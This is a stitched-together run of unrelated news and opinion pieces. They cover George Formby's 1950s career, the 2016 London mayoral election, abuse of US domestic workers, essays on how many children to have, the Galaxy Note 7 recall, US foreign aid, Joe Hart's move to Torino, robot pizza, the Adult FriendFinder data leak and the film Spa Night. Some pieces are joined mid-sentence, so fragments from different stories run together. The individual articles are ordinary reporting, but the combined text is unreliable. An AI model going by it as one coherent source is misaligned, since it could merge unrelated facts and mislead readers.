From October to December 1953 Formby appeared at the London Palladium in 138 performances of the revue Fun and the Fair, with Terry-Thomas and the Billy Cotton band; Formby appeared in the penultimate act of the evening, with Terry-Thomas closing the show. Although Formby's act was well-received, the show was not as successful as had been hoped, and Terry-Thomas later wrote that "Formby put the audience in a certain mood which made them non-receptive to whoever followed... Even though my act was the star spot, I felt on this occasion that my being there was an anti-climax". He requested that the order be changed to have Formby close the show, but this was turned down. Formby suffered from stage fright during the show's run—the first time he had suffered from the condition since his earliest days on stage—and his bouts of depression returned, along with stomach problems.
Formby took a break from work until mid-1954, when he starred in the revue Turned Out Nice Again, in Blackpool. Although the show was initially scheduled to run for 13 weeks, it was cut short after six when Formby suffered again from dysentery and depression. He again announced his retirement, but continued to work. After some television appearances on Ask Pickles and Top of the Town, in late 1954 and early 1955 respectively, Formby travelled to South Africa for a tour, where Beryl negotiated an agreement with the South African premier Johannes Strijdom to play in venues of Formby's choice, and then sailed to Canada for a ten-day series of performances. On the return voyage he contracted bronchial pneumonia, but still joined the cast of the non-musical play Too Young to Marry on his arrival in Britain.
In August 1955 Beryl felt unwell and went for tests: she was diagnosed with cancer of the uterus and was given two years to live. The couple reacted to the news in different ways, and while Beryl began to drink heavily—up to a bottle of whisky a day to dull the pain —George began to work harder, and began a close friendship with a school teacher, Pat Howson.[t]
Too Young to Marry toured between September 1955 and November 1956, but still allowed Formby time to appear in the Christmas pantomime Babes in the Wood at the Liverpool Empire Theatre. The touring production was well received everywhere except in Scotland, where Formby's attempted Scottish accent is thought to have put people off. For Christmas 1956 he appeared in his first London pantomime, playing Idle Jack in Dick Whittington and His Cat at the Palace Theatre, although he withdrew from the run in early February after suffering from laryngitis.[173] According to Bret, Formby spent the remainder of 1957 "doing virtually nothing", although he appeared in two television programmes, Val Parnell's Saturday Spectacular in July and Top of the Bill in October.
From March 1958 Formby appeared in the musical comedy Beside the Seaside, a Holiday Romp in Hull, Blackpool, Birmingham and Brighton. By the time it reached Brighton the play was playing to increasingly small audiences, and the run was cut short as a result. The play may not have been to southern audiences' tastes—the plot centres on a northern family's holiday in Blackpool—and the |
will replace Boris Johnson, a Conservative.
The mayoral election took place just six weeks before Britons will vote on whether to stay in the European Union — a question that has raised sharp political divisions on issues that include control over immigration policies.
London’s mayor wields less direct power than big-city counterparts in the United States and elsewhere. But the position has gained a higher profile as a soapbox for various issues — even international affairs — under previous mayors such as the left-
leaning Ken Livingstone and Johnson.
[A guide to Britain’s scandals]
Sadiq Khan canvasses for supporters at a market in London on Wednesday. (Justin Tallis/AFP/Getty Images)
The two front-runners came from strikingly different backgrounds.
Khan, 45, the son of a Pakistani bus driver and seamstress, trained as a lawyer before becoming a Labour Party member of Parliament for Tooting, a south London constituency. He slept in a bunk bed at his parents’ home until he was 24.
Goldsmith, 41, is a longtime environmentalist and son of a billionaire financier. He is currently a lawmaker from Richmond in south London. His sister is Jemima Khan, whose ex-husband, Imran Khan, is a former cricket star from Pakistan who has since turned to politics in that country.
Jemima Khan appeared to criticize the campaign of her brother, who repeatedly accused Sadiq Khan of giving “oxygen and cover” to Islamic extremists.
“Sad that Zac’s campaign did not reflect who I know him to be — an eco friendly, independent-minded politician with integrity,” she tweeted.
The mayoral race was one of a number of local and regional elections across Britain in what were dubbed the “Super Thursday” contests.
[London mayor to Obama: Stay out of E.U. debate]
Outside London, the Labour Party suffered losses in various parts of the country, suggesting it has a steep hill to climb to win the next general election in 2020.
This week’s votes marked the first big set of elections since Jeremy Corbyn, a politician on Labour’s far left, won his party’s leadership contest last fall with massive grass-roots support.
And the result? A mixed bag.
Opposition parties normally do well in local elections, but Labour did not. However, it did not lose as much ground in England as some pundits had projected, and it remained the dominant party in the Welsh assembly.
But it fell behind the Conservatives to become the third-largest party in Scotland.
The Conservatives have spent decades in the political wilderness in Scotland, but they made gains — long considered unthinkable — under the party’s charismatic leader there, Ruth Davidson.
Nicola Sturgeon’s Scottish National Party was set for a third term in power in the Scottish Parliament — it was just shy of a securing a majority — inevitably raising questions about the possibility of a second independence referendum for that region.
The local elections come at a time when the leaders of the two main parties, the Conservatives and Labour, have been locking horns in increasingly acrimonious exchanges.
[Parting shot from London’s mayor against E.U. membership]
British Prime Minister David Cameron, leader of the Conservatives, accused Corbyn’s Labour Party this week of having a problem with anti-Semitism, following a scandal that has rocked the party. The Labour Party recently suspended a senior member over controversial remarks.
Cameron also questioned Khan’s judgment — not for the first time — saying that he had shared platforms with terrorist sympathizers.
For his part, Corbyn accused the Conservatives of “smearing” Khan in the mayoral race.
The mayoral contest in London, where the city’s housing crisis was the main battleground during the campaign, turned increasingly ugly as it neared the finish line.
Khan was forced to deny claims that he supports Islamic extremists (he says he met with “unsavory characters” as part of his job as a human rights lawyer), and Goldsmith was compelled to reject claims that he is a racist (he says he raised legitimate questions).
When asked whether the Conservatives’ mayoral campaign had done “lasting damage” to relations with London’s Muslim community, Andrew Boff, the Conservative leader of the London Assembly, a mayoral watchdog, said: “I think it has.”
“Welcome to politics of ethnicity in a diverse city,” said John Curtice, a professor at the University of Strathclyde. “We know that Labour Party does relatively well in London amongst ethnic minorities. We also know that we are talking about a society in which there is a fair degree of Islamophobia, and if a party is behind and is playing dog-whistle politics, don’t be surprised.”
In London, a cosmopolitan city with more than 1 million Muslims, the negative campaigning seemed to leave a bitter taste for some.
Speaking after she voted Thursday at a polling station in Khan’s Tooting borough, Kate Parry, 50, a market researcher, said the tone of the debate had “backfired on the Conservative campaign.”By Moni Basu, CNN
(CNN) - Anna worked seven days a week as a nanny for the family of a Fortune 500 company executive. She lived with them in their 5th Avenue apartment in Midtown Manhattan. Her day began at 6 when the children woke up and didn't end until 10 at night when she put them to bed and cleaned the kitchen.
She cooked meals, did laundry and tended to the children's needs. She slept on the floor in between their beds. She did not have a single day off in 15 months.
She was hired because of the child development skills she learned as a teacher in her native Philippines. Yet she earned just $1.27 an hour.
Anna's story, documented in a groundbreaking statistical report on U.S. domestic workers released Tuesday, is not uncommon. It said Anna was part of a system of invisible workers - mostly women, mostly minorities and increasingly immigrant - who enable many Americans to function in their own lives.
Nannies, house cleaners and caregivers play a central role in the U.S. economy, the report said, but hidden from public view, they are not compensated adequately and are often abused.
It found that low pay was a systemic problem in the domestic work industry - 23% of domestic workers are paid below the state minimum wage - and few receive any benefits such as health insurance or paid sick days. For live-in workers who are closest to their employers, the situation is worse - 67 % of them are paid below minimum wage.
The Fair Labor Standards Act, which guarantees minimum wage, overtime and sick and vacation pay, does not apply to domestic workers.
"Home Economics: The Invisible and Unregulated World of Domestic Work" documents serious and widespread mistreatment of domestic workers in the United States, said Ai-jen Poo, director of the National Domestic Workers Alliance, which helped conduct the research.
Poo said she found it devastating and painful that such a huge percentage of domestic workers make less than minimum wage.
"The upshot is that the workers that we have to take care of our families and homes don't earn enough," she said. "They work in extremely unpredictable and vulnerable conditions. And that's not good for anyone."
Domestic work in America carries the legacy of slavery with its divisions of labor along lines of race and gender, the report said.
The problems also stem from a history of women's work being devalued, said the report's co-author Nik Theodore, an assistant professor at the University of Illinois at Chicago.
"It's often not regarded as work," he said.
It's not far-fetched to liken some situations to modern-day slavery where workers are isolated in people's homes, coerced into back-breaking labor, Theodore said.
"Working behind closed doors, beyond the reach of personnel policies, and often without employment contracts, they are subject to the whims of their employers," the report said. "Domestic workers often face issues in their work environment alone, without the benefit of co-workers who could lend a sympathetic ear.
What distinguishes domestic workers from others is their personal relationship with their employers, making the abuses all the more baffling, the report said.
Hailed as the first of its kind, the survey was based on interviews with 2,086 domestic workers from 71 countries in 14 metropolitan areas across the United States. It was funded by the Ford Foundation, the Open Society Foundations and the Alexander Soros Foundation.
Poo said now that the data is finally available, policy changes need to happen.
The number of domestic workers in the United States increased in the past few years to 726,437, according to the U.S. Census, though Tuesday's report suggested that number was far higher since the Census Bureau does not take into account workers placed by agencies or those who work for private cleaning companies such as Merry Maids. Undocumented workers are also probably undercounted in the census.
"Both U.S.-born and immigrant domestic workers, predominately women of color, work in an array of circumstances," the report said.
"A few staff the homes of the terrifically wealthy, serving the 1% in homegrown, contemporary versions of 'Upstairs/Downstairs' and 'Downton Abbey.' Many, many more work in the homes of busy, middle-class professionals who have sufficient income and wealth to hire help to do the chores that would otherwise consume their limited time."
Others assist people of lesser incomes, stopping in to clean or help an elderly person with chores.
But many domestic workers struggle to take care of their own families, the report said. It found that 60% of domestic workers in America spend more than half their income on rent or mortgage payments; 20% said there were times in the month before they were interviewed that there was no food to eat in their homes.
Live-in workers earned less than those who did not, the report said. Live-in nannies earned a median wage of $6.76 an hour compared with $11.55 for those who lived elsewhere. Live-in caregivers made $7.69 an hour while others made $10.
The survey found that 65% of domestic workers have no health insurance, and less than 9% work for employers who pay into Social Security.
The report recommends policies that rectify the exclusion of domestic workers from employment and labor laws. Theodore said nannies, house cleaners and caregivers ought to earn minimum wage and be offered benefits. And they deserve a safe and healthy working environment.
Theodore, who co-wrote the report with Linda Burnham of the National Domestic Workers Alliance, said even he was surprised at the depth and breadth of abuse of domestic workers. He interviewed Anna, who since then has left her employer, and spoke with many others in her situation. One woman even told him her employer pulled a knife on her.
It's the kind of thing you hear about in other nations but few think of this kind of thing happening in America.
It raises questions about immigration and the economy, Theodore said. "It speaks to how we as a society are going to care for our children and elderly."Lauren Sandler One
The majority of parents say they have a second child for the sake of their first, or at least that’s what they’ve told pollsters for years. But it’s hard to imagine anything that can be reduced to a survey question, much less an issue that layers family, happiness, responsibility and legacy. Still, we recognise truth in this response: first children tend to be a choice parents make to fulfil their own lives and second children a choice they make to fulfil the life of their existing child.
That’s because only children, like myself and my daughter, are seen as lonely, selfish and maladjusted. That’s what the stereotype tells us, but not the data. In fact, hundreds of studies conducted over decades reveal we’re not measurably different from anyone else. Those studies, and my own interviews with onlies all over the world, suggest it looks like this. On loneliness: as kids, we’re usually fine. As adults, we often face the logistical and existential nightmare of our parents’ ageing and death on our own. But the good news is we develop the strongest primary relationships with ourselves. On selfishness: we’re sufficiently socialised to play well with others. On maladjustment: we’re fine. Overall, we’re pretty fantastic.
The area the stereotype largely ignores is achievement. We tend to succeed at significantly higher rates, whether at school or in professional endeavours. Solitary pursuits like reading train focus and curiosity; and the verbally rich environment of life among adults boosts learning. Parents can devote more time, energy and money to nurturing. It’s a simple concept called “resource dilution”: the more kids you have, the more those resources are diluted.
This factor extends beyond what children gain from their parents, to what parents can offer themselves. When our personal resources are stretched thin, we lose our own pleasure and freedom, as well as the space to ruminate on what confronts our world, much less to participate in meaningful change. “Who’s got the time?” we commiserate with each other. This is the behaviour we teach our children. We model what it means to have nothing left to give.
To have a happy kid, I figure I need to be a happy mother, and to be a happy mother, I need to be a happy person. I need to make choices within the limits of reality—which means considering work, finances, pleasure. At the moment, I can’t imagine how I could possibly do that with another kid, and I can’t think why I would when I’m so happy with what we have now, in our snug unit of three.
Ma Jian Four
If you ask me how many children should you have, I would be unable to answer because no one has the right to prescribe the number of children other people have. The decision of whether to have children, and if so how many, is the most important anyone can make. No outsider should intrude on this private matter.
In China, the Communist state’s continual efforts to control family size over the past 60 years have had disastrous consequences. When Mao came to power in 1949, he recklessly encouraged Chinese women to produce as many children as possible, to boost the workforce and the ranks of the Red Army. By 1976, China’s population had almost doubled. Panic-stricken, the new leader, Deng Xiaoping, introduced the draconian one-child policy, which in turn has scarred the nation more profoundly. Two generations have grown up without siblings, and millions of women have suffered the indignity and trauma of gynaecological monitoring, forced abortions and sterilisations. Only now, when the workforce is shrinking because of the policy, which threatens to hamper economic growth, has the government considered phasing it out.
If you ask me how many children should I have, I would say four, because this is the number that now scampers around my house, and to contemplate having fewer or more of them would be as painful as the thought of having fewer or more limbs. We never planned to have so many. We had a son, a daughter, then four years later there was a surprise third pregnancy, which to our astonishment produced twins. Chinese friends, who once envied us our two offspring, now look at us with pity. Of course, the physical strain of bringing up four is enormous, but the joy each one brings is immeasurable. Although our home sometimes feels like a zoo, and we resemble a travelling circus whenever we venture abroad, there is a great comfort in being part of a six-member clan, especially now that I am no longer allowed back into China. When my wife Flora and I sit at opposite ends of the kitchen table in the evening, with two children on one side, and two on the other, and watch them tuck into their noodle soup or fried rice, I feel a sense of symmetry and completion.
With thanks to Flora Drew for the translation
Jonathon Porritt Two
First, no woman should feel under any pressure whatsoever to have any children at all. From a broad societal point of view, the more women who feel that children just aren’t for them, the better it is in terms of bringing down average fertility. And that is an absolute priority for the world today.
The majority of women, of course, will want to be mothers. And the majority of men will want to be fathers. Children are a joy, and for me personally our two daughters have massively enriched our lives. But having more than two children doesn’t necessarily increase that joy, and the more families in rich countries who choose to stick at two, the better.
It’s all about fair shares and personal responsibility. Rich-world countries continue to consume totally disproportionate shares of the world’s energy, resources, food, forests and even water—in terms of the water embedded in all the food we import from poorer countries. Ensuring a more sustainable world for the whole of humankind necessarily entails significant economic growth, over many years, in developing and emerging countries—and given today’s already chronic shortages, let alone accelerating climate change, that means we in the rich world have to cut back on our own levels of consumption.
Thinking about this from the perspective of climate change provides the most compelling reason for sticking at two. A study by Oregon State University in 2009 compared the impact of an individual adopting six well-known ecological lifestyle changes to cut their carbon budget with the single decision to have one less child. By adopting the easily available, environmentally friendly actions of driving a more fuel-efficient car, halving annual car mileage, fitting double glazing and low-energy lightbulbs, replacing an inefficient fridge and recycling all their paper, tin and glass, an individual could reduce their carbon footprint by 486 tonnes over a lifetime. By having one less child, a woman from a rich country would save 9,441 tonnes of carbon dioxide over the rest of her life: nearly 20 times the amount saved from all those positive eco-actions combined.
I know how offensive some people find this argument. Every time I voice it, the hate mail ramps up. It’s a very personal issue—but that shouldn’t force it forever beyond the pale of rational debate.
Kevin Maxwell Seven
Four of my father’s eight siblings were murdered in the Holocaust, which fuelled his desire to create a large family. I’m one of nine siblings, and I have seven children. I’m wholeheartedly in favour of the largest family you can manage.
My commitment to large families is not a global proposition. It reflects my good luck in living in Britain and coming from an affluent background. But it has never wavered. One of my children was conceived in the run-up to my trial for fraud—though I was acquitted, at the time I faced a possible lengthy prison sentence. Another was born during the trial itself. To some this would seem the height of irresponsibility; to my wife and me, it was an affirmation of life.
When you raise a large family in a loving environment, you create a clan that is self-supporting through successes, failures, celebrations and bereavements. The knowledge that life isn’t fair is learnt in the cradle—maybe someone has to have surgery, another has an exam crisis or a break-up. My own kids now range from 12 to 29, and their support for each other undoubtedly helped them cope better when my wife and I eventually divorced. Now the eldest five are over 18 and free to live where they like, all have chosen to live within 1.5 miles of each other, which I think is testament to the bond between them.
Contemporaries cite school fees as the greatest disincentive to having more children. But Britain has great state schools, which would benefit if even more middle-class kids went to them—and the children would turn out better-equipped to deal with the real world.
There are those who say that having lots of children is ecologically irresponsible. That argument ignores the benefit of having productive, tax-paying, environmentally aware and eco-friendly children, all able to contribute positively to society.
We will all need more children to help bear the economic weight of an ageing population. This problem doesn’t have to be solved by increasing the retirement age and immigration: try procreation!
David Benatar None
Millions of years of evolutionary history have programmed you to reject the notion that procreation is wrong. Bear this in mind if you rush to reject my argument, and to defend a deeply harmful practice.
Morally responsible parents wish to spare their children pain. There are ways they can minimise the chances of their children suffering certain types of harm, but the only way to prevent harm altogether is to desist from bringing children into existence. Any child will, inevitably, suffer considerable harm.
Privileged procreators in developed countries are inclined to respond that their children are likely to be spared the chronic deprivation, insecurity and violence that blight the lives of so many. This response ignores the discomfort, distress, frustration and unhappiness that characterise even the most charmed lives. It also ignores the appalling fates that can befall anybody. These include assault, devastating injury, degenerative disease and depression.
Nor can these fates be dismissed as improbable. For example, 40% of men and 37% of women in Britain develop cancer at some point. Add to these odds the cumulative risks of other terrible conditions and we find that the chance of escaping calamity approaches zero. It reaches zero if we include death. In creating a child you are ultimately responsible for its death, and for the ensuing ripples of bereavement.
A common retort is to acknowledge all this harm but to claim that the good can nonetheless outweigh the bad. One problem with this glib response is that procreators have no idea whether this will be true for their children. Moreover, consider, in all their gruesome details, the horrors of rape, cancer or chronic pain, for example. Then, with a straight face, tell us how much good your child would have to experience to outweigh those horrors. In this exercise, the procreator very quickly appears callous and indecent.
Parents may benefit from procreation, but only at serious cost to those brought into existence. It’s hard to see how imposing these costs can be justified, especially since nobody is harmed by not being born.
Emma Duncan Three
I didn’t mean to have three children. The second of my two pregnancies produced twins, which I wouldn’t particularly recommend. But the result was that I ended up with what I believe—and economic theory suggests—is the ideal number.
There are economies of scale to having children, especially for more affluent parents. A full-time nanny employed to look after one child can just as well look after three. One child needs shoes in every conceivable size and outfits for all weathers and every occasion. These can be handed down through the trio (though some allowance may have to be made for differences in gender). Expenses such as food vary according to size of family, but overall the average cost of raising each of three children is considerably lower than the cost of one.
In a family, as in all investments, it is important to create a diversified portfolio. The more children you have, the greater the chance that one of them will be successful enough to keep you in your old age. And children can go off the rails. If you have one, you risk seeing 100% of your investment wasted; if two, 50%. A third is a more acceptable proportion to write off.
There are advantages for the offspring, too. As the number of children rises, the number of sibling relationships rises exponentially. One child has none; two children have one; three children have three. So if two of them are on bad terms, there may still be two decent sibling relationships in the house, and each of the squabblers will still have a friend.
Why not have more, then? After all, four children have six relationships between them, which must be even better. The reason for stopping at three is that, beyond this magic number, the marginal costs of child-rearing start rising again. The shoes are worn out, and so is the nanny. When the noise level reaches a certain decibel threshold, the cost-benefit ratio turns decidedly negative—as do parental feelings towards the whole breeding business.After launching the Samsung Galaxy Note 7 on August 2nd, we have reported about the Galaxy Note 7 explosions while charging. Though there is no official update on both the incidents. Today, the Samsung announced to recall all the Galaxy Note 7 units and the customers will be replaced with a new unit. While we reported two incidents, the company received 35 incidents of Galaxy Note 7 malfunctions.
Samsung also confirmed that only 24 units in every one million devices at a risk of catching fire. But in precautionary measures, the company is recalling all the Galaxy Note 7 Note devices. The confusion between the Samsung India and one of the local retailer resulted in selling one of the Note 7 units prior to the actual sale date in India. Now the company is trying to buy back the device and is even willing to pay 3X the amount of what the customer paid.
While in India and few other countries the availability date of the device is postponed. But in China, the company has officially launched the Galaxy Note 7 on August 26th and the device is mentioned to be available from September 1st. Though there is no 6GB RAM variant, the company started selling the 4GB RAM variant of Galaxy Note 7 from yesterday.
The worldwide sales of the Galaxy Note 7 are stopped due to the battery issue, but the Chinese sales aren’t halted as the Galaxy Note 7 units sold in China uses the battery from the different supplier. Today, the company sent out the press release mentioning the same. Below is the English translation of the Chinese press release.
Samsung Electronics officially announced, ease of use for the protection of consumers, in some countries, for Galaxy Note7 possible risks proactively replace the battery. Country line version from September 1 officially on sale in the Chinese market, the use of different battery suppliers, not in the replacement category, Chinese consumers can rest assured purchase. Samsung Electronics will continue to carry out “Chinese people love to do business and contribute to China’s social enterprise” commitment to continue to uphold the quality and service first conviction, for consumers the best products and experiences. Thanks to the media and public attention for China Samsung Electronics. – Samsung (Sep 2, 2016)At the top of this page, you’ll see what a tiny fraction of the entire federal budget is devoted to foreign assistance — just about 1 percent. As we pointed out in the previous post, most Americans vastly overestimate this number in surveys. In a Kaiser Family Foundation study published in early 2015, the average respondent thought that 26 percent of the federal budget went to foreign aid. Unsurprisingly, more than half the respondents thought the United States was spending too much on foreign aid.
In the breakdown above, we have laid out where the $42.4 billion will go in 2017. The money comes from the State and Defense departments and a slew of other agencies. But it would be wrong to think that “security assistance” comes entirely from the DoD. Security assistance is a broader term than so-called military aid because this financial support is often extended to other types of security forces such as anti-narcotic or trafficking units.
Actually, only about half the security assistance budget is provided by the DoD. That mostly derives from programs directly tied to military operations in Afghanistan and Iraq, such as the Afghan Security Forces Fund and the Iraq Train and Equip Fund. Deals like last month’s with Israel, on the other hand, come from the State Department. In that case, the U.S. government is essentially financing Israel’s military purchases. Under the current agreement, Israel can spend 26 percent of that money on military equipment produced in Israel, but the new deal, which starts in 2019, gradually phases out that stipulation. Then, like every other country, Israel will have to spend all the assistance money on American defense contractors. In other words, U.S. foreign military financing is essentially a way of subsidizing its domestic defense industry while strengthening the military capabilities of its strategic allies.
Economic and development assistance is almost entirely provided through the State Department’s budget. This includes the budgets for the U.S. Agency for International Development (USAID) and Peace Corps, reserve funds for disaster relief, funds geared toward specific objectives, such as preventing the spread of HIV/AIDS, and bilateral economic assistance packages.Joe Hart is following a path trod by Paul Ince, Paul Gascoigne and David Beckham
It's a familiar complaint that top British players do not test themselves abroad and it's telling that Joe Hart will become the first English goalkeeper to appear in Serie A since the league began in 1929/30.
However, having introduced the game to the world, the history of British influence in Italian football is extensive. From James Richardson Spensley and Willy Garbutt's early achievements with Genoa, it's a rich tradition.
Welsh great John Charles became a footballing icon in Italy as a result of his performances for Juventus from the late 1950s, while Jimmy Greaves and Denis Law both had spells in Serie A during the early 1960s.
August 30 - Latest transfer news including Hart's move to Torino August 30 - Latest transfer news including Hart's move to Torino
Another wave of big names made the trip out to Italy in the 1980s with the likes of Ray Wilkins, Trevor Francis, Graeme Souness and others taking their talents to what was then the strongest league in the world.
The ban on English clubs in Europe also proved a catalyst with Ian Rush, David Platt and Paul Gascoigne all making the move. More recently, Hart's former England team-mates David Beckham and Ashley Cole have played for Milan and Roma respectively.
So what can Hart learn from the experiences of his predecessors? Here, we pick out some choice advice for the England goalkeeper ahead of his season-long loan with Torino…
Ray Wilkins (AC Milan)
"You have to fend for yourself a hell of a lot. I think 27 was a good age to go because I had all the experience on the planet having played around 50 times for my country at that time. So I wasn't walking into something that was totally new to me, instead it was something that I could embrace."
Ian Rush (Juventus)
"Without doubt I would recommend the experience to any young player. It was the best thing that happened to me. People say it was a disappointing year but it wasn't. I was top scorer for Juventus; I learned so much about football; I learned about the culture of Italy. It was the best thing I ever did."
Trevor Francis (Sampdoria & Atalanta)
"Having already been there in Italy with Juventus, Liam Brady could speak Italian which was helpful. Liam moved on after two years and I took over his role then with Graeme Souness in terms of helping Graeme. It was good to have an English-speaking person there as the other foreigner."
Gordon Cowans (Bari)
"When we landed at the airport there were around 5,000 Bari supporters there. It was absolutely potty. We couldn't walk through the airport because there were people grabbing us and kissing us. It was a huge shock just how much it meant to them that we were coming to join the club."
Lee Sharpe (Sampdoria)
"I absolutely loved it. Both the city and the training ground were fantastic. I was in an apartment for a couple of months but unfortunately not many of the players spoke much English. So the language barrier was a bit of a problem."
Luther Blissett (AC Milan)
"I've got no regrets whatsoever about going to Italy. None. For your football education it's great and whatever happens you will learn from it and come back a better person and a stronger person. You learn from it whether you do well or not."When robots inevitably take over our planet, as the dystopian vision of science fiction writers foretells, we’ll lose our jobs, our freedom, our humanity. But take comfort in one thing the robots will provide for us lowly, carbon-based life-forms: artisanal pizza.
They’re already making it in a commercial kitchen in the heart of Silicon Valley: Two robots named Pepe and Giorgio squirt sauce on dough, and another robot, Marta, spreads it. A robotic arm named Bruno puts the pizza in the oven. They don’t operate independently from humans yet – two or three people still load the dough onto the conveyor and sprinkle cheese and toppings – but Zume Pizza in Mountain View expects to be fully automated by spring, delivering made-to-order, customizable pizzas in as little as seven minutes.
Say it with a straight face: artisanal robotic pizza. Like jumbo shrimp and boneless ribs, it seems like a culinary oxymoron. For many years, our culture has fostered a movement that rewards people who grow and prepare food with thoughtfulness, by hand. We’re all about knowing your farmer, shopping small and local, and caring about the human stories behind the food we eat.
In seemingly direct contrast to that stands technology. Some of the same purveyors who are part of that movement are looking for ways to maximize efficiency and cut costs as their businesses grow.
“There’s a connotation with ‘artisanal’ that speaks to an artist behind it,” said Sarah Weiner, director of the Good Food Foundation. “I am not sure that robots have evolved to the point where they can convey emotion and meaning.”
Maybe not, but there are now robots that can reflect and simulate emotions. And technology is moving quickly: Engineers are developing robots to automate single tasks, but experts predict that eventually, artificial intelligence could become as common a kitchen tool as a whisk.
“It’s easy to take two things that seem completely at odds with each other and assume that there’s a tension,” said Zume Pizza co-founder and co-Chief Executive Julia Collins. “That doesn’t exist in this case. Robots are enabling us to deliver artisanal food.”
‘Not too perfectly’
How can something made by the steely mechanical hand of a robot be considered artisanal? It further stretches the definition of a word that is already in danger of becoming little more than marketing-speak, for sure. But Collins and others in the field assert that if the base ingredients, processes and technique come from artisanal origins, the food itself can be considered artisanal.
“Food has to be made with love,” Collins said. “That’s why humans make the food, and when I say ‘make the food,’ humans do all of the scratch cooking” at Zume. That means making the dough, which is aged for up to 24 hours, and the sauce, which Collins said comes from “single-source organic, dry-farmed tomatoes” and is made using executive chef Aaron Butkus’ grandmother’s recipe. Humans also must chop and prep the toppings, which are all local and use seasonal produce. Robots assemble and cook the pies; at peak capacity, they can make 288 every hour.
Apparently, we don’t want our food to look like it’s made by robots. Zume has taken particular care to ensure that: The machine it is commissioning to press the dough will create three slightly different shapes. Because the tomatoes are hand-crushed, the consistency of the sauce changes, so Marta the robot spreads it differently with every pie – “perfectly but not too perfectly,” Collins said. And the menu is constantly changing.
Zume doesn’t hide the fact that the pizzas are made by robots, but it doesn’t promote it on its website, either. Given the company’s location in a community full of programmers and engineers, it’s part of the appeal.
The automation doesn’t stop in the kitchen: The delivery-only pizza joint has patented food trucks that bake your pizza en route, in an oven that turns on automatically 31/2 minutes before the truck delivers it to your house after following an algorithmically optimized route.
Pizza isn’t the only food that’s getting a robotic boost. Momentum Machines announced plans to open a robot-operated burger joint in San Francisco, with systems that will allow diners to customize their blend of ground meat. There are robot noodle makers in Japan and robot cocktail makers in Italy. Casabots in San Jose has invented Sally, the salad robot – she’s essentially a fully contained, mechanized Sweetgreen – and they’re setting their sights next on burritos.
Robot labor could eliminate low-skilled jobs and lead to the creation of more technical jobs, such as robot maintenance. Zume, for example, gives all of its employees a stake in the company and technical training. Collins said workers whose jobs become automated will be reassigned, not eliminated.
And Zume’s kitchen always will require someone to prep and load food into the robots.Hackers have struck one of the world’s largest internet dating websites, leaking the highly sensitive sexual information of almost four million users onto the web.
The stolen data reveals the sexual preferences of users, whether they’re gay or straight, and even indicates which ones might be seeking extramarital affairs. In addition, the hackers have revealed email addresses, usernames, dates of birth, postal codes and unique internet addresses of users’ computers.
Channel 4 News has been investigating the cyber underworld, discovering which websites have been hacked and exposing the trade in personal information of millions of people through so-called “dark web” sites.
Secretive forum
The investigation led to a secretive forum in which a hacker nicknamed ROR[RG] posted the details of users of Adult FriendFinder. The site boasts 63 million users worldwide and claims more than 7 million British members. It bills itself as a “thriving sex community”, and as a result users often share sensitive sexual information when they sign up.
The information of 3.9m Adult FriendFinder members has been leaked, including those who told the site to delete their accounts.
Shaun Harper is one of those whose details have been published. “The site seemed OK, but when I got into it I realised it wasn’t really for me, I was looking for something longer term. But by that time I’d already given my information. You couldn’t get into the site without handing over information.
“I deleted my account, so I thought the information had gone. These sites are meant to be secure.”
Spam emails
Within hours of the data being leaked, hackers on the forum said they intended to hit victims with spam emails, and Mr Harper has been targeted with virused emails since his information was made public.
Online crime experts believe the after the initial spam email campaign, hackers will now begin trawling through the data for potential blackmail targets. The spreadsheets contain addresses linked to dozens of government and armed services personnel, including members of the British Army.
“Where you’ve got names, dates of birth, ZIP codes, then that provides an opportunity to actually target specific individuals whether they be in government or healthcare for example, so you can profile that person and send more targeted blackmail-type emails,” says Charlie McMurdie, a cybercrime specialist for PwC and former head of the Metropolitan Police‘s electronic crime unit.
The front page of Adult FriendFinder, which is based in California, features photos of dozens of attractive young women. Yet the hacked data, contained in 15 spreadsheets, reveals how few females appear to use Adult FriendFinder.
Among the 26,939 users with a UK email address, for example, there are just 1,596 who identified as female: a ratio of one woman to every 16 men.
FriendFinder Networks Inc, which owns Adult FriendFinder, told Channel 4 News:
“FriendFinder Networks Inc… understands and fully appreciates the seriousness of the issue.
“We have already begun working closely with law |
in search of his identity, and like most teens, this process is tremendously confusing. His exploration into the gay realm is difficult for a lot of conservative Asian cultures to accept. As for me, I thought it was time for the Asian community to love and embrace a marginalized group of their own people. There was no fear for me to overcome, I believed in the message of the film, so I needed to be a part of it.”
Seo displayed extreme courage accepting the role. The topic is not one many in the Korean community are comfortable with. In fact Ahn says many actors eventually quit the film because they could not deal with the pressures from their families and fear of the perception people might have of them for working on the film. Ahn has not doubt why these actors quit.
“I lost actors because of the queer theme in the film,” he said. “Many actors didn’t want to take the risk of being associated with a project that shows gay sex, despite the fact that the film is very much a portrait of a family. One woman who auditioned for the role of David’s mother told me she couldn’t be in the film because her husband is a pastor. One young actor who auditioned for the role of David told me that his mother would never approve of him playing gay. I think much of this stems from the fact that being gay is not talked about in the Korean American community. It’s swept under the rug. As frustrating as these roadblocks were, we were ultimately able to find our cast and I’m so grateful to them.”
Ahn, himself, is open about being gay, but says his life has been much different than his main character David. David is an only child and struggling to get into college. Ahn went to Brown and has an older brother. Still he feels connected to David and his struggles to balance his identities and manage his parent’s expectations while trying to live an authentic life.
After a screening at the Jeonju International Film Festival, Ahn recalls a young Korean man approaching him and revealing he is gay.
“I was the first person he came out to. I felt so honored that watching Spa Night inspired him to take that first step.”
Both Ahn and Seo see the film as more than just a gay film. Spa Night also explores the universal theme of family.
“There is a formula for what Asian American parents want for their kids,” Seo explained. “They want their kids to do well in school, go to a great university, become a doctor, marry a healthy/wealthy spouse, then pop out grandkids. My parents were no different. It’s tough being a kid because sometimes our goals don’t align with what our loving parents had in mind for us. This doesn’t just relate to Asian Americans, but I think this transcends to all ethnicities that are also struggling to establish roots in this country.”
Both Seo and Ahn will participate in a question and answer session after the screening Thursday night at AAIFF. Additional screenings for Spa Night are scheduled beginning August 19 in New York and starting August 26 in Los Angeles.
Ahn says his next project has not been finalized, but he has several projects he’s working on. “Some gay, some Korean, some both, some neither,” he says. While the opportunities are endless, he admits feeling the pressure of growing expectations.
Seo has been invited to meet with some studio executives, which is an accomplishment by itself. “As for more gig opportunities, I haven’t seen the fruits of that yet. Fingers crossed.”
